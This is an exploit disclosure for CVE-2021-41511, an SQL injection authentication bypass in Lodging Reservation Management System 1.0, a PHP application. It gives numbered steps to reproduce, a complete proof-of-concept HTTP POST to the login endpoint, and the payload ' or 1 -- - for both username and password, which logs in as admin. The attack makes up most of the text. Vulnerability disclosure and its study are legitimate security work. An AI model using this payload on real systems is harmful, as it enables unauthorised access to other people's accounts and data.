CVE-2021-41511

Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass

Exploit Author: Nitin Sharma(vidvansh)

Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html

Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code

Version: v1.0

Tested on: Windows 10 - XAMPP Server

Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.

#Steps-To-Reproduce: Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php. Step 2 – Enter anything in username and password Step 3 – Click on Login and capture the request in the burp suite Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -. Step 5 – Click forward and now you will be logged in as admin.

PoC:

POST /lodge/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://localhost Connection: close Referer: http://localhost/lodge/admin/login.php Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+

Authentication Bypass:

Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password =>

Username: ' or 1 -- - Password: ' or 1 -- -